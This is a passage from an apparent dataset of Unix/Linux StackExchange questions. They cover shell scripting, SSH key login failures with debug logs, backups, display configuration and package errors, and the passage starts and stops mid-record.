variable or write the full path of the command. That normally helps. But in this case, `cd` is a built in bash command, and I cannot write `whereis cd` in order to get the full path of the command. I do not have any idea to get this going."} {"_id": "147198", "title": "Patterns and file processing", "text": "Let's say I have to perform these actions from an input file: * extract nth field from a line starting with a given pattern ( _in the exemple: 2nd field of the line starting with pattern 'name'_ ) * print the field content at the beginning of every following line, while the line does **not** start with the selected pattern * when a new line matching the pattern is found, repeat step 1 and 2 I'm currently doing this using Python, but it would be better using something light and fast from command line (like awk, for exemple). Sample input name NAME_A inf field_A1 name NAME_B inf field_B1 inf field_B2 Expected output: name NAME_A NAME_A inf field_A1 name NAME_B NAME_B inf field_B1 NAME_B inf field_B2"} {"_id": "138986", "title": "Emacs slow loading time with AUCTeX on TeX files", "text": "I installed the `auctex` and `emacs` packages on two Xubuntu 14.04 computers, both of which have been working fine. Emacs itself works fine on both, but now with the `auctex` package installed, when I load a TeX file (even just an empty one) I have a six second loading time for `auctex`, wich I have to go through every time I load a TeX file. Is this normal? If not, what can I do to reduce this time? I've searched the internet and nothing has turned up, only the fact that file parsing might take a long time, but it doesn't as I've enabled the feature to save and load parse files. I am using Emacs 24 with AUCTeX 11.87 EDIT: The output of the `*messages*` buffer looks like this for a newly opened TeX file: (\"emacs\" \"hi.tex\") Loading 00debian-vars...done Loading /etc/emacs/site-start.d/50auctex.el (source)... Loading /usr/share/emacs/site-lisp/auctex.el (source)...done Loading /usr/share/emacs/site-lisp/preview-latex.el (source)...done Loading /etc/emacs/site-start.d/50auctex.el (source)...done Loading /etc/emacs/site-start.d/50autoconf.el (source)...done Loading /etc/emacs/site-start.d/50cmake-data.el (source)...done Loading /etc/emacs/site-start.d/50dictionaries-common.el (source)... Loading /var/cache/dictionaries-common/emacsen-ispell-dicts.el (source)... Error while loading 50dictionaries-common: Symbol's value as variable is void: debian-aspell-only-dictionary-alist Loading /etc/emacs/site-start.d/50latex-cjk-common.el (source)... Loading cjk-enc...done Loading /etc/emacs/site-start.d/50latex-cjk-common.el (source)...done Loading /etc/emacs/site-start.d/50latex-cjk-thai.el (source)...done For information about GNU Emacs and the GNU system, type C-h C-a. (New file) Applying style hooks... done exchange-point-and-mark: No mark set in this buffer [6 times] exchange-point-and-mark: No mark set in this buffer"} {"_id": "138985", "title": "'last -d' is REALLY slow", "text": "I can run the command `last` (and `last -i`) in a fraction of a second, but when I run `last -d`, according to my tests, it takes a whopping 5 minutes and 22 seconds. Just for reference, this is what adding the `-d` flag does: > > -d For non-local logins, Linux stores not only the host name of > the > remote host but its IP number as well. This option > translates > the IP number back into a hostname. > There is no indication in the man pages that it should take that much extra amount of time. As it says, Linux stores the IP already, so it shouldn't have to do any sort of slow reverse-lookup of the IP based on the hostname on the spot. In addition, it is slow even when it is \"looking up\" that the hostname value of `:0` (a local login) should return the \"IP address\" value of `0.0.0.0`. Is the `-d` flag slow on all computers, or just mine? Could this indicate a corrupted file somewhere which may be inaccessible or difficult to read? _For reference, I am running **32-bit Ubuntu 13.10** (haven't upgraded yet)._"} {"_id": "68348", "title": "Why is the resolution fixed at 1024*786 on Linux Mint 14 Cinnamon?", "text": "I am newbie in Linux, I have installed Linux Mint 14 Cinnamon. After installation I just get a black screen. After I got recommendation to set `modeset i915.modeset=0` which gave me the display but with a fixed resolution of 1024*786. Then I ran the following command in terminal: $ sudo lshw -class display *-display:0 UNCLAIMED description: VGA compatible controller product: Mobile 4 Series Chipset Integrated Graphics Controller vendor: Intel Corporation physical id: 2 bus info: pci@0000:00:02.0 version: 09 width: 64 bits clock: 33MHz capabilities: msi pm vga_controller bus_master cap_list configuration: latency=0 resources: memory:d0000000-d03fffff memory:c0000000-cfffffff ioport:5140(size=8) *-display:1 UNCLAIMED description: Display controller product: Mobile 4 Series Chipset Integrated Graphics Controller vendor: Intel Corporation physical id: 2.1 bus info: pci@0000:00:02.1 version: 09 width: 64 bits clock: 33MHz capabilities: pm bus_master cap_list configuration: latency=0 resources: memory:d3400000-d34fffff But I'm not able to figure how to change the resolution."} {"_id": "138982", "title": "backup process taking prolonged time due to rsync no space left on device error", "text": "I am trying to understand why the backup process in one of the servers is taking so long and not copying the data correctly. This is the size of the external HDD partition. df -h /dev/sdb1 Filesystem Size Used Avail Use% Mounted on /dev/sdb1 985G 362G 573G 39% /media/backup The folder that I am trying to copy is lesser than the size of the external HDD partition. df -h /dev/sda4 Filesystem Size Used Avail Use% Mounted on /dev/sda4 3.4T 867G 2.4T 27% /mounts Everything just seemed fine. I started the backup process almost a week back and still it has not completed. I realized it might be an issue with the USB port speed but I was wrong. I also suspected it might be a corrupted file system that might be causing the error. I wanted to run `fsck` on the `/dev/sda4` file system. But when I checked some of the script output, I read some error messages as, rsync: mkstemp \"/media/backup/2014-06-18_09-36/mounts/ no space left on device (28) From here, I read that 5% of the disk space would be allocated for root file system. I do not understand if that is related to my problem. Also, from here, I read the inode size cannot be greater than 2 GB. I believe it should be something that I investigate. But am not sure if that is the problem though. I would appreciate more pointers towards the right direction. **EDIT:** The output of `df -i` command is as below. df -i /dev/sdb1 /dev/sdb1 65544192 65279823 264369 100% /media/backup df -i /dev/sda4 Filesystem Inodes IUsed IFree IUse% Mounted on /dev/sda4 229957632 171244050 58713582 75% /mounts"} {"_id": "68344", "title": "Arch Linux steam installation failed due to signature error", "text": "I'm trying to install steam on my Arch and pacman said it can't install and showed the following error error: steam: signature from \"Daniel Wallace \" is invalid error: failed to commit transaction (invalid or corrupted package (PGP signature)) Errors occurred, no packages were upgraded. I also did pacman -Syu archlinux-keyring as suggested in ArchLinux failed to install libproxy for invalid signature"} {"_id": "68345", "title": "Tools to find OpenVPN UDP packet corruption", "text": "Are there Unix tools to troubleshoot UDP packet corruption? I'd like to avoid writing my own... I think ping might report when a packet is corrupted, but it doesn't really seem to have options targeting corruption. I guess I'd like to find the BER and also\u2014if possible\u2014where in the path its occurring. _(Background: I have three OpenVPN VPNs (all in UDP mode, using certificates) running between two Linux machines, over different ISPs. One of the VPNs occasionally spits out \"Authenticate/Decrypt packet error: packet HMAC authentication failed\", which I believe means either that one of the VPN packets was corrupted in transit, or alternatively someone spewed random junk to the OpenVPN port. I'm guessing corruption, as it occurs mainly during a bulk transfer at night.)_"} {"_id": "68346", "title": "Is it possible to use indirection for setting variables?", "text": "E.g. next script will print `Hello` due to `${!` rule. A=B B=Hello echo ${!A} But how can I **set** value to variable with indirect name? Straightforward use of `!` sign doesn't work: A=B !A=Hello # here is tricky line echo $B I know there is a trick with using temp file, but I'm interested in using indirection, not something like A=B echo \"$A=Hello\" > 1.tmp . 1.tmp echo $B"} {"_id": "144145", "title": "Password-Less SSH Login not working", "text": "I create a SSH Key file on Server A using RSA method ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/home/oracle/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/oracle/.ssh/id_rsa. Your public key has been saved in /home/oracle/.ssh/id_rsa.pub. The key fingerprint is: 5d:54:2e:2e:ef:cd:97:55:c6:c4:e0:6c:85:fa:ba:48 oracle@ServerA Then i transfer the _id_rsa.pub_ file on ServerB and changed the name _id_rsa.pub_ to **authorized_keys** Then from ServerA i tried to SSH to ServerB but its still asking for password. Here is the dubug output of SSH OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx ] port 15000. debug1: Connection established. debug1: identity file /home/oracle/.ssh/identity type -1 debug3: Not a RSA1 key file /home/oracle/.ssh/id_rsa. debug2: key_type_from_name: unknown key type '-----BEGIN' debug3: key_read: missing keytype debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug3: key_read: missing whitespace debug2: key_type_from_name: unknown key type '-----END' debug3: key_read: missing keytype debug1: identity file /home/oracle/.ssh/id_rsa type 1 debug1: identity file /home/oracle/.ssh/id_dsa type -1 debug1: loaded 3 keys debug1: Remote protocol version 2.0, remote software version OpenSSH_3.9p1 debug1: match: OpenSSH_3.9p1 pat OpenSSH_3.* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_4.3 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib debug2: kex_parse_kexinit: none,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_init: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_init: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 127/256 debug2: bits set: 491/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug3: check_host_in_hostfile: filename /home/oracle/.ssh/known_hosts debug3: check_host_in_hostfile: match line 1 debug1: Host 'xxx.xxx.xxx.xxx' is known and matches the RSA host key. debug1: Found key in /home/oracle/.ssh/known_hosts:1 debug2: bits set: 508/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/oracle/.ssh/identity ((nil)) debug2: key: /home/oracle/.ssh/id_rsa (0x2b42c2acac50) debug2: key: /home/oracle/.ssh/id_dsa ((nil)) debug1: Authentications that can continue: publickey,password debug3: start over, passed a different list publickey,password debug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Trying private key: /home/oracle/.ssh/identity debug3: no such identity: /home/oracle/.ssh/identity debug1: Offering public key: /home/oracle/.ssh/id_rsa debug3: send_pubkey_test debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/oracle/.ssh/id_dsa debug3: no such identity: /home/oracle/.ssh/id_dsa debug2: we did not send a packet, disable method debug3: authmethod_lookup password debug3: remaining preferred: ,password debug3: authmethod_is_enabled password debug1: Next authentication method: password Contents of ServerA /etc/ssh/sshd_config file # $OpenBSD: sshd_config,v 1.73 2005/12/06 22:38:28 reyk Exp $ # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/local/bin:/bin:/usr/bin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options change a # default value. Port 15000 #Protocol 2,1 Protocol 2 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: # HostKey for protocol version 1 #HostKey /etc/ssh/ssh_host_key # HostKeys for protocol version 2 #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_dsa_key # Lifetime and size of ephemeral version 1 server key #KeyRegenerationInterval 1h #ServerKeyBits 768 # Logging # obsoletes QuietMode and FascistLogging #SyslogFacility AUTH SyslogFacility AUTHPRIV #LogLevel INFO # Authentication: LoginGraceTime 2m PermitRootLogin no #StrictModes yes MaxAuthTries 6 RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #RhostsRSAAuthentication no # similar for protocol version 2 #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # RhostsRSAAuthentication and HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! #PasswordAuthentication yes #PermitEmptyPasswords no PasswordAuthentication yes # Change to no to disable s/key passwords #ChallengeResponseAuthentication yes ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no GSSAPIAuthentication no #GSSAPICleanupCredentials yes GSSAPICleanupCredentials no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication mechanism. # Depending on your PAM configuration, this may bypass the setting of # PasswordAuthentication, PermitEmptyPasswords, and # \"PermitRootLogin without-password\". If you just want the PAM account and # session checks to run without PAM authentication, then enable this but set # ChallengeResponseAuthentication=no #UsePAM no UsePAM yes # Accept locale-related environment variables AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT AcceptEnv LC_IDENTIFICATION LC_ALL #AllowTcpForwarding yes #GatewayPorts no #X11Forwarding no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PrintMotd yes #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #UsePrivilegeSeparation yes #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #ShowPatchLevel no #UseDNS yes #PidFile /var/run/sshd.pid #MaxStartups 10 #PermitTunnel no #ChrootDirectory none # no default banner path #Banner /some/path # override default of no subsystems Subsystem sftp /usr/libexec/openssh/sftp-server Please note Server A OS is 5.* Redhat and ServerB OS is ancient its **Red Hat Enterprise Linux AS release 4 (Nahant Update 7)** # Test 1 OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to ServerB [ServerB] port 22. debug1: Connection established. debug1: identity file /home/oracle/.ssh/identity type 0 debug1: identity file /home/oracle/.ssh/id_rsa type -1 debug1: identity file /home/oracle/.ssh/id_dsa type -1 debug1: loaded 3 keys debug1: Remote protocol version 2.0, remote software version OpenSSH_3.9p1 debug1: match: OpenSSH_3.9p1 pat OpenSSH_3.* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_4.3 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib debug2: kex_parse_kexinit: none,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_init: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_init: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 141/256 debug2: bits set: 525/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug3: check_host_in_hostfile: filename /home/oracle/.ssh/known_hosts debug3: check_host_in_hostfile: match line 1 debug1: Host '172.16.1.1' is known and matches the RSA host key. debug1: Found key in /home/oracle/.ssh/known_hosts:1 debug2: bits set: 497/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/oracle/.ssh/id_rsa ((nil)) debug2: key: /home/oracle/.ssh/id_dsa ((nil)) debug1: Authentications that can continue: publickey,password debug3: start over, passed a different list publickey,password debug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password debug3: authmethod_lookup publickey debug3: remaining preferred: keyboard-interactive,password debug3: authmethod_is_enabled publickey debug1: Next authentication method: publickey debug1: Trying private key: /home/oracle/.ssh/id_rsa debug3: no such identity: /home/oracle/.ssh/id_rsa debug1: Trying private key: /home/oracle/.ssh/id_dsa debug3: no such identity: /home/oracle/.ssh/id_dsa debug2: we did not send a packet, disable method debug3: authmethod_lookup password debug3: remaining preferred: ,password debug3: authmethod_is_enabled password debug1: Next authentication method: password"} {"_id": "137450", "title": "What priority should I give to a script running on startup?", "text": "I 'm running Angstrom distribution on an embedded device. I want to make use of its GPIO expansion ports, that are set to be high on start-up. Below, is the code segment, that releases an expansion port. #!/bin/sh cleanup() { # Release the GPIO port echo 133 > /sys/class/gpio/unexport exit } I 'm thinking of running this script on startup, using `update-rc.d name_of_script default`. **_My question is:_** What priority should I give in order to ensure that GPIO ports won't get high on startup? I assume that there is a script responsible for GPIO ports getting high. If this is true, I could instead, disable it from running on startup. _For any additional inforamtion (e.g. contents of`/etc/init.d`), please let me know._"} {"_id": "137451", "title": "Killing subprocesses after the script has finished or is killed", "text": "Say I have a script like the following #!/usr/bin/env zsh ./subscript.sh & # do stuff ... # do more stuff I would like the process running `subscript.sh` (and any processes initiated by it) to be fully terminated whenever: 1. The script above exits 2. The script above is killed for any reason. How can I enforce the above? Is this automatically taken care of by the shell?"} {"_id": "77851", "title": "How can I force my wifi to connect to a G-band channel?", "text": "I'm trying to debug a buggy wireless card and would like to force my Linux computer to connect using one of the g-band channels. How can I achieve this?"} {"_id": "67375", "title": "Is copying the root folder an adequate form of backup?", "text": "I am working in a small organization with about 8 or so Linux independent servers. While we currently do remote backups among the machines, I was told to make an \"emergency backup\" of the machines to an external drive. Here is my current plan: * Mount the drive to one of the servers * `tar` and compress the contents of the root folder * Use `rsync` and `ssh` to transfer the tarball. The backup need not be \"conservative.\" It is only about 500GB of data on a 2TB drive. Does this constitute an adequate backup plan given the conditions?"} {"_id": "67376", "title": "problems using slime on emacs24", "text": "I install slime through ELPA. Here is what my .emacs file looks like: (setq inferior-lisp-program \"sbcl --noinform\") (add-to-list 'load-path \"~/slime/\") (require 'slime) (slime-setup) (setq package-archives '((\"gnu\" . \"http://elpa.gnu.org/packages/\") (\"marmalade\" . \"http://marmalade-repo.org/packages/\") (\"melpa\" . \"http://melpa.milkbox.net/packages/\"))) I get the following error when I start emacs: > Warning (initialization): An error occurred while loading > `/home/name/.emacs': > > File error: Cannot open load file, slime > > To ensure normal operation, you should investigate and remove the cause of > the error in your initialization file. Start Emacs with the `--debug-init' > option to view a complete error backtrace. When I debug: Debugger entered--Lisp error: (file-error \"Cannot open load file\" \"slime\") require(slime) eval-buffer(# nil \"/home/name/.emacs\" nil t) ; Reading at buffer position 91 load-with-code-conversion(\"/home/name/.emacs\" \"/home/name/.emacs\" t t) load(\"~/.emacs\" t t) #[0 \"\\205\\262 When I visit ~/.emacs.d/elpa/slime-20130308.1112, slime.el is clearly there. Other people online seem to be having issues too. If I cannot get it to work with emacs24, how can I setup a slime environment for common lisp?"} {"_id": "67371", "title": "USB key not responding when inserted", "text": "I just attempted to create a USB key for Chrome OS. I followed the instructions found here. This is what I did: 1- Downloaded a `.zip` version of the build. 2- Extracted the `.zip` file which gave me a `.img` file. 3- Tried to burn the `.img` file to the USB key with the following command: dd if=ChromeOS-Vanilla-3812.0.2013_03_08_1632-r10c5647c.img of=/dev/sdc1 bs=4M 4- That gave me a _Permission denied_ error so I tried: sudo dd if=ChromeOS-Vanilla-3812.0.2013_03_08_1632-r10c5647c.img of=/dev/sdc1 bs=4M which seemed to work (at least it ended with a message that ~2.5Gb had been copied to the device) But now if I insert the USB key the system does not recognize it anymore. I tried booting my laptop with that USB inserted but it did not pick it up either. Did I just destroy my 16Gb USB key?? Cheers. * * * Update: the _Disk_ utility does recognize when the device is inserted. I tried to format the USB key with this app but got the error: Error synchronizing after initial wipe: Timed out waiting for object (udisks-error-quark, 0) * * * Update 2: `fdisk` apparently also recognizes the device. The command `sudo fdisk -l` returns: Dispositivo Inicio Comienzo Fin Bloques Id Sistema /dev/sdc1 * 32 31270911 15635440 c W95 FAT32 (LBA) (my system is in Spanish)"} {"_id": "144148", "title": "Is is ok to run multiple PHP Websockets using 1 machine?", "text": "I am using Debian LAMP Server and I need to run PHP Websockets with very simple coding. Will need at least five different WebSockets running with same IP different ports but as you know this things use a 1s looping. I ran one using `Alt`+`F1`, another at `Alt`+`F2` and another one at `Alt`+`F3`; and they all seem to work ok. Is it Ok to use one machine to do this, or is that not recommendable at all? I am expecting around 100 connections on each one."} {"_id": "102105", "title": "Not able to download the content of the web site", "text": "I'm using Ubuntu 13.04. I opened this website in my browser. The site starts downloading and displaying previews of a book on the same page. I'd like to download the book displayed on the page to my system's hard drive. If I use `wget`, it's downloading only the page but not the book. Here's the command I'm trying, please check for clarity by opening the URL in browser and then using `wget`. $ wget http://www.amazon.com/gp/reader/0072520426/ref=sib_dp_ptu#reader-link When you open via a web browser, the book will start downloading and displaying on the page. How can I download the book to my hard disk. There are no options on the page for downloading either."} {"_id": "108100", "title": "Why are tar archive formats switching to xz compression to replace bzip2 and what about gzip?", "text": "More and more `tar` archives use the `xz` format based on LZMA2 for compression instead of the traditional `bzip2(bz2)` compression. In fact _kernel.org_ made a late \" _Good-bye bzip2_ \" announcement, 27th Dec. 2013, indicating kernel sources would from this point on be released in both tar.gz and tar.xz format - and on the main page of the website what's directly offered is in `tar.xz`. Are there any specific reasons explaining why this is happening and what is the relevance of `gzip` in this context?"} {"_id": "91825", "title": "Print out file structure on Unix", "text": "Is there a way on unix to print out the file structure, like Bootstrap's getting started page? bootstrap/ \u251c\u2500\u2500 css/ \u2502 \u251c\u2500\u2500 bootstrap.css \u2502 \u251c\u2500\u2500 bootstrap.min.css \u2502 \u251c\u2500\u2500 bootstrap-theme.css \u2502 \u251c\u2500\u2500 bootstrap-theme.min.css \u251c\u2500\u2500 js/ \u2502 \u251c\u2500\u2500 bootstrap.js \u2502 \u251c\u2500\u2500 bootstrap.min.js \u2514\u2500\u2500 fonts/ \u251c\u2500\u2500 glyphicons-halflings-regular.eot \u251c\u2500\u2500 glyphicons-halflings-regular.svg \u251c\u2500\u2500 glyphicons-halflings-regular.ttf \u2514\u2500\u2500 glyphicons-halflings-regular.woff (from http://getbootstrap.com/getting-started/#whats-included) Is there a command to make it print out exactly like that?"} {"_id": "108108", "title": "xrandr call makes it forget about secondary display", "text": "# In short I have a laptop with an external DVI display which is hooked up to its Display Port (via adapter). When I rotate the internal screen using `xrandr`, it will forget about the secondary display. Calling `xrandr` multiple times does not have any effect. I have to power off the external display, wait for a while, call `xrandr` again and it finds the display. # The details I use Kubuntu 13.10 with Awesome WM instead of the regular KWin Windows Manager. Therefore, there are already two systems which do stuff with displays. The laptop is a ThinkPad X220 Tablet, which has a Display Port on the device itself, and another one on the UltraBase docking station, which I use currently. The display is a Samsung SyncMaster 2443BW with a DVI to Display Port adapter. Then, I use my own think-rotate to rotate the internal (`LVDS1`) screen when I rotate the _physical_ display (via ACPI hook). Said script uses `xrandr` to rotate the screen. When I call `think-rotate`, it will glitch and give me the following `xrandr` output afterwards: Screen 0: minimum 320 x 200, current 1366 x 768, maximum 32767 x 32767 LVDS1 connected primary 1366x768+0+0 (normal left inverted right x axis y axis) 277mm x 156mm 1366x768 60.0*+ 1360x768 59.8 60.0 1024x768 60.0 800x600 60.3 56.2 640x480 59.9 VGA1 disconnected (normal left inverted right x axis y axis) HDMI1 disconnected (normal left inverted right x axis y axis) DP1 disconnected (normal left inverted right x axis y axis) HDMI2 disconnected (normal left inverted right x axis y axis) HDMI3 disconnected (normal left inverted right x axis y axis) DP2 disconnected (normal left inverted right x axis y axis) DP3 disconnected (normal left inverted right x axis y axis) You see, that the `HDMI2` is completely missing. After letting all the power drain from the external display, calling `xrandr` again gave me the screen back and the following output: Screen 0: minimum 320 x 200, current 1366 x 768, maximum 32767 x 32767 LVDS1 connected primary 1366x768+0+0 (normal left inverted right x axis y axis) 277mm x 156mm 1366x768 60.0*+ 1360x768 59.8 60.0 1024x768 60.0 800x600 60.3 56.2 640x480 59.9 VGA1 disconnected (normal left inverted right x axis y axis) HDMI1 disconnected (normal left inverted right x axis y axis) DP1 disconnected (normal left inverted right x axis y axis) HDMI2 connected (normal left inverted right x axis y axis) 1920x1200 60.0 + 1600x1200 60.0 1280x1024 60.0 1280x960 60.0 1024x768 60.0 800x600 60.3 56.2 640x480 60.0 HDMI3 disconnected (normal left inverted right x axis y axis) DP2 disconnected (normal left inverted right x axis y axis) DP3 